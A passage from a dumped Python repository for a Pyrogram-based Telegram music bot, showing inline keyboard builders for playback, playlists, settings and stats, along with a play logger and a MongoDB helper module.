text=_[\"CLOSE_BUTTON\"],\n                callback_data=f\"forceclose {videoid}|{user_id}\",  # ✅ fixed\n            ),\n            InlineKeyboardButton(\n                text=\"▷\",\n                callback_data=f\"slider F|{query_type}|{query}|{user_id}|{channel}|{fplay}\",\n            ),\n        ],\n    ]\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/playlist.py",
    "content": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef botplaylist_markup(_):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"PL_B_1\"],\n                callback_data=\"get_playlist_playmode\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef top_play_markup(_):\n    buttons = [\n        [InlineKeyboardButton(text=_[\"PL_B_9\"], callback_data=\"SERVERTOP global\")],\n        [InlineKeyboardButton(text=_[\"PL_B_10\"], callback_data=\"SERVERTOP chat\")],\n        [InlineKeyboardButton(text=_[\"PL_B_11\"], callback_data=\"SERVERTOP user\")],\n        [\n            InlineKeyboardButton(text=_[\"BACK_BUTTON\"], callback_data=\"get_playmarkup\"),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef get_playlist_markup(_):\n    buttons = [\n        [\n            InlineKeyboardButton(text=_[\"P_B_1\"], callback_data=\"play_playlist a\"),\n            InlineKeyboardButton(text=_[\"P_B_2\"], callback_data=\"play_playlist v\"),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"BACK_BUTTON\"], callback_data=\"home_play\"),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef top_play_markup(_):\n    buttons = [\n        [InlineKeyboardButton(text=_[\"PL_B_9\"], callback_data=\"SERVERTOP Global\")],\n        [InlineKeyboardButton(text=_[\"PL_B_10\"], callback_data=\"SERVERTOP Group\")],\n        [InlineKeyboardButton(text=_[\"PL_B_11\"], callback_data=\"SERVERTOP Personal\")],\n        [\n            InlineKeyboardButton(text=_[\"BACK_BUTTON\"], callback_data=\"get_playmarkup\"),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef failed_top_markup(_):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"get_top_playlists\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef warning_markup(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"PL_B_7\"],\n                    callback_data=\"delete_whole_playlist\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=\"del_back_playlist\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ],\n        ]\n    )\n    return upl\n\n\ndef close_markup(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ]\n        ]\n    )\n    return upl\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/queue.py",
    "content": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef queue_markup(\n    _,\n    DURATION,\n    CPLAY,\n    videoid,\n    played: Union[bool, int] = None,\n    dur: Union[bool, int] = None,\n):\n    not_dur = [\n        [\n            InlineKeyboardButton(\n                text=_[\"QU_B_1\"],\n                callback_data=f\"GetQueued {CPLAY}|{videoid}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"],\n                callback_data=\"close\",\n            ),\n        ]\n    ]\n    dur = [\n        [\n            InlineKeyboardButton(\n                text=_[\"QU_B_2\"].format(played, dur),\n                callback_data=\"GetTimer\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"QU_B_1\"],\n                callback_data=f\"GetQueued {CPLAY}|{videoid}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"],\n                callback_data=\"close\",\n            ),\n        ],\n    ]\n    upl = InlineKeyboardMarkup(not_dur if DURATION == \"Unknown\" else dur)\n    return upl\n\n\ndef queue_back_markup(_, CPLAY):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=f\"queue_back_timer {CPLAY}\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ]\n        ]\n    )\n    return upl\n\n\ndef aq_markup(_, chat_id):\n    buttons = [\n        [\n            InlineKeyboardButton(text=\"▷\", callback_data=f\"ADMIN Resume|{chat_id}\"),\n            InlineKeyboardButton(text=\"II\", callback_data=f\"ADMIN Pause|{chat_id}\"),\n            InlineKeyboardButton(text=\"‣‣I\", callback_data=f\"ADMIN Skip|{chat_id}\"),\n            InlineKeyboardButton(text=\"▢\", callback_data=f\"ADMIN Stop|{chat_id}\"),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"⛦ ᴏᴡɴᴇʀ ⛦\", url=f\"https://t.me/BRANDEDKING8\"\n            ),\n            InlineKeyboardButton(\n                text=\"🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀\", url=f\"https://t.me/BRANDED_WORLD\"\n            ),\n        ],\n        [InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\")],\n    ]\n    return buttons\n\n\n\ndef queuemarkup(_, vidid, chat_id):\n\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"S_B_5\"],\n                url=f\"https://t.me/{app.username}?startgroup=true\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"ᴘᴀᴜsᴇ\",\n                callback_data=f\"ADMIN Pause|{chat_id}\",\n            ),\n            InlineKeyboardButton(text=\"sᴛᴏᴘ\", callback_data=f\"ADMIN Stop|{chat_id}\"),\n            InlineKeyboardButton(text=\"sᴋɪᴘ\", callback_data=f\"ADMIN Skip|{chat_id}\"),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"ʀᴇsᴜᴍ\", callback_data=f\"ADMIN Resume|{chat_id}\"\n            ),\n            InlineKeyboardButton(\n                text=\"ʀᴇᴘʟᴀ\", callback_data=f\"ADMIN Replay|{chat_id}\"\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"๏ ᴍᴏʀᴇ ๏\",\n                url=\"https://t.me/BRANDED_WORLD\",\n            ),\n        ],\n    ]\n\n    return buttons\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/settings.py",
    "content": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton\n\n\ndef setting_markup(_):\n    buttons = [\n        [\n            InlineKeyboardButton(text=_[\"ST_B_1\"], callback_data=\"AU\"),\n            InlineKeyboardButton(text=_[\"ST_B_3\"], callback_data=\"LG\"),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"ST_B_2\"], callback_data=\"PM\"),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"ST_B_4\"], callback_data=\"VM\"),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef vote_mode_markup(_, current, mode: Union[bool, str] = None):\n    buttons = [\n        [\n            InlineKeyboardButton(text=\"Vᴏᴛɪɴɢ ᴍᴏᴅᴇ ➜\", callback_data=\"VOTEANSWER\"),\n            InlineKeyboardButton(\n                text=_[\"ST_B_5\"] if mode == True else _[\"ST_B_6\"],\n                callback_data=\"VOMODECHANGE\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(text=\"-2\", callback_data=\"FERRARIUDTI M\"),\n            InlineKeyboardButton(\n                text=f\"ᴄᴜʀʀᴇɴᴛ : {current}\",\n                callback_data=\"ANSWERVOMODE\",\n            ),\n            InlineKeyboardButton(text=\"+2\", callback_data=\"FERRARIUDTI A\"),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"settings_helper\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef auth_users_markup(_, status: Union[bool, str] = None):\n    buttons = [\n        [\n            InlineKeyboardButton(text=_[\"ST_B_7\"], callback_data=\"AUTHANSWER\"),\n            InlineKeyboardButton(\n                text=_[\"ST_B_8\"] if status == True else _[\"ST_B_9\"],\n                callback_data=\"AUTH\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"ST_B_1\"], callback_data=\"AUTHLIST\"),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"settings_helper\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef playmode_users_markup(\n    _,\n    Direct: Union[bool, str] = None,\n    Group: Union[bool, str] = None,\n    Playtype: Union[bool, str] = None,\n):\n    buttons = [\n        [\n            InlineKeyboardButton(text=_[\"ST_B_10\"], callback_data=\"SEARCHANSWER\"),\n            InlineKeyboardButton(\n                text=_[\"ST_B_11\"] if Direct == True else _[\"ST_B_12\"],\n                callback_data=\"MODECHANGE\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"ST_B_13\"], callback_data=\"AUTHANSWER\"),\n            InlineKeyboardButton(\n                text=_[\"ST_B_8\"] if Group == True else _[\"ST_B_9\"],\n                callback_data=\"CHANNELMODECHANGE\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"ST_B_14\"], callback_data=\"PLAYTYPEANSWER\"),\n            InlineKeyboardButton(\n                text=_[\"ST_B_8\"] if Playtype == True else _[\"ST_B_9\"],\n                callback_data=\"PLAYTYPECHANGE\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"settings_helper\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef audio_quality_markup(\n    _,\n    low: Union[bool, str] = None,\n    medium: Union[bool, str] = None,\n    high: Union[bool, str] = None,\n):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_8\"].format(\"✅\") if low == True else _[\"ST_B_8\"].format(\"\")\n                ),\n                callback_data=\"LQA\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_9\"].format(\"✅\")\n                    if medium == True\n                    else _[\"ST_B_9\"].format(\"\")\n                ),\n                callback_data=\"MQA\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_10\"].format(\"✅\")\n                    if high == True\n                    else _[\"ST_B_10\"].format(\"\")\n                ),\n                callback_data=\"HQA\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"settingsback_helper\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef video_quality_markup(\n    _,\n    low: Union[bool, str] = None,\n    medium: Union[bool, str] = None,\n    high: Union[bool, str] = None,\n):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_11\"].format(\"✅\")\n                    if low == True\n                    else _[\"ST_B_11\"].format(\"\")\n                ),\n                callback_data=\"LQV\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_12\"].format(\"✅\")\n                    if medium == True\n                    else _[\"ST_B_12\"].format(\"\")\n                ),\n                callback_data=\"MQV\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=(\n                    _[\"ST_B_13\"].format(\"✅\")\n                    if high == True\n                    else _[\"ST_B_13\"].format(\"\")\n                ),\n                callback_data=\"HQV\",\n            )\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"BACK_BUTTON\"],\n                callback_data=\"settingsback_helper\",\n            ),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/song.py",
    "content": "from pyrogram.types import InlineKeyboardButton\nimport config\n\ndef song_markup(_, vidid):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"SG_B_2\"],\n                callback_data=f\"song_helper audio|{vidid}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"SG_B_3\"],\n                callback_data=f\"song_helper video|{vidid}\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"🥀 sᴜᴩᴩᴏʀᴛ 🥀\", url=f\"{config.SUPPORT_CHAT}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"\n            ),\n        ],\n    ]\n    return buttons\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/speed.py",
    "content": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef speed_markup(_, chat_id):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=\"🕒 0.5x\",\n                    callback_data=f\"SpeedUP {chat_id}|0.5\",\n                ),\n                InlineKeyboardButton(\n                    text=\"🕓 0.75x\",\n                    callback_data=f\"SpeedUP {chat_id}|0.75\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"P_B_4\"],\n                    callback_data=f\"SpeedUP {chat_id}|1.0\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=\"🕤 1.5x\",\n                    callback_data=f\"SpeedUP {chat_id}|1.5\",\n                ),\n                InlineKeyboardButton(\n                    text=\"🕛 2.0x\",\n                    callback_data=f\"SpeedUP {chat_id}|2.0\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ],\n        ]\n    )\n    return upl\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/start.py",
    "content": "from pyrogram.types import InlineKeyboardButton\n\nimport config\nfrom BrandrdXMusic import app\n\n\ndef start_panel(_):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"S_B_1\"], url=f\"https://t.me/{app.username}?startgroup=true\"\n            ),\n            InlineKeyboardButton(text=_[\"S_B_2\"], url=config.SUPPORT_CHAT),\n        ],\n    ]\n    return buttons\n\n\ndef private_panel(_):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"S_B_3\"],\n                url=f\"https://t.me/{app.username}?startgroup=true\",\n            )\n        ],\n        [InlineKeyboardButton(text=_[\"S_B_4\"], callback_data=\"settings_back_helper\")],\n        [\n            InlineKeyboardButton(text=_[\"S_B_5\"], user_id=config.OWNER_ID),\n            InlineKeyboardButton(text=_[\"S_B_2\"], url=config.SUPPORT_CHAT),\n        ],\n        [\n            InlineKeyboardButton(text=_[\"S_B_6\"], url=config.SUPPORT_CHANNEL),\n        ],\n    ]\n    return buttons\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/stats.py",
    "content": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef stats_buttons(_, status):\n    not_sudo = [\n        InlineKeyboardButton(\n            text=_[\"SA_B_1\"],\n            callback_data=\"TopOverall\",\n        )\n    ]\n    sudo = [\n        InlineKeyboardButton(\n            text=_[\"SA_B_2\"],\n            callback_data=\"bot_stats_sudo\",\n        ),\n        InlineKeyboardButton(\n            text=_[\"SA_B_3\"],\n            callback_data=\"TopOverall\",\n        ),\n    ]\n    upl = InlineKeyboardMarkup(\n        [\n            sudo if status else not_sudo,\n            [\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ],\n        ]\n    )\n    return upl\n\n\ndef back_stats_buttons(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=\"stats_back\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ],\n        ]\n    )\n    return upl\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/sudolist.py",
    "content": "\n"
  },
  {
    "path": "BrandrdXMusic/utils/inlinequery.py",
    "content": "from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent\n\nanswer = []\n\nanswer.extend(\n    [\n        InlineQueryResultArticle(\n            title=\"Pᴀᴜsᴇ\",\n            description=f\"ᴩᴀᴜsᴇ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/pause\"),\n        ),\n        InlineQueryResultArticle(\n            title=\"Rᴇsᴜᴍᴇ\",\n            description=f\"ʀᴇsᴜᴍᴇ ᴛʜᴇ ᴩᴀᴜsᴇᴅ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/resume\"),\n        ),\n        InlineQueryResultArticle(\n            title=\"Sᴋɪᴩ\",\n            description=f\"sᴋɪᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀɴᴅ ᴍᴏᴠᴇs ᴛᴏ ᴛʜᴇ ɴᴇxᴛ sᴛʀᴇᴀᴍ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/skip\"),\n        ),\n        InlineQueryResultArticle(\n            title=\"Eɴᴅ\",\n            description=\"ᴇɴᴅ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/end\"),\n        ),\n        InlineQueryResultArticle(\n            title=\"Sʜᴜғғʟᴇ\",\n            description=\"sʜᴜғғʟᴇ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ sᴏɴɢs ɪɴ ᴩʟᴀʏʟɪsᴛ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/shuffle\"),\n        ),\n        InlineQueryResultArticle(\n            title=\"Lᴏᴏᴩ\",\n            description=\"ʟᴏᴏᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\",\n            thumb_url=\"https://te.legra.ph/file/df8fa2868f8a277718a47.jpg\",\n            input_message_content=InputTextMessageContent(\"/loop 3\"),\n        ),\n    ]\n)\n"
  },
  {
    "path": "BrandrdXMusic/utils/logger.py",
    "content": "from pyrogram.enums import ParseMode\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import is_on_off\nfrom config import LOGGER_ID\n\n\nasync def play_logs(message, streamtype):\n    if await is_on_off(2):\n        logger_text = f\"\"\"\n<b>{app.mention} ᴘʟᴀʏ ʟᴏɢ</b>\n\n<b>ᴄʜᴀᴛ ɪᴅ :</b> <code>{message.chat.id}</code>\n<b>ᴄʜᴀᴛ ɴᴀᴍᴇ :</b> {message.chat.title}\n<b>ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ :</b> @{message.chat.username}\n\n<b>ᴜsᴇʀ ɪᴅ :</b> <code>{message.from_user.id}</code>\n<b>ɴᴀᴍᴇ :</b> {message.from_user.mention}\n<b>ᴜsᴇʀɴᴀᴍᴇ :</b> @{message.from_user.username}\n\n<b>ǫᴜᴇʀʏ :</b> {message.text.split(None, 1)[1]}\n<b>sᴛʀᴇᴀᴍᴛʏᴘᴇ :</b> {streamtype}\"\"\"\n        if message.chat.id != LOGGER_ID:\n            try:\n                await app.send_message(\n                    chat_id=LOGGER_ID,\n                    text=logger_text,\n                    parse_mode=ParseMode.HTML,\n                    disable_web_page_preview=True,\n                )\n            except:\n                pass\n        return\n"
  },
  {
    "path": "BrandrdXMusic/utils/mongo.py",
    "content": "\"\"\"**                                                                      \n────────────────────────────────────────────────────────────────────────\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\nB̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞\n────────────────────────────────────────────────────────────────────────**\"\"\"\n\n\nfrom typing import Dict, Union\n\nfrom motor.motor_asyncio import AsyncIOMotorClient as MongoCli\n\nfrom config import MONGO_DB_URI\n\nmongo = MongoCli(MONGO_DB_URI)\ndb = mongo.BrandrdXMusic\n\ncoupledb = db.couple\n\n\nafkdb = db.afk\n\nnightmodedb = db.nightmode\n\nnotesdb = db.notes\n\nfiltersdb = db.filters\n\n\nasync def _get_lovers(cid: int):\n    lovers = await coupledb.find_one({\"chat_id\": cid})\n    if lovers:\n        lovers = lovers[\"couple\"]\n    else:\n        lovers = {}\n    return lovers\n\nasync def _get_image(cid: int):\n    lovers = await coupledb.find_one({\"chat_id\": cid})\n    if lovers:\n        lovers = lovers[\"img\"]\n    else:\n        lovers = {}\n    return lovers\n\nasync def get_couple(cid: int, date: str):\n    lovers = await _get_lovers(cid)\n    if date in lovers:\n        return lovers[date]\n    else:\n        return False\n\n\nasync def save_couple(cid: int, date: str, couple: dict, img: str):\n    lovers = await _get_lovers(cid)\n    lovers[date] = couple\n    await coupledb.update_one(\n        {\"chat_id\": cid},\n        {\"$set\": {\"couple\": lovers, \"img\": img}},\n        upsert=True,\n    )\n"
  },
  {
    "path": "BrandrdXMusic/utils/pastebin.py",
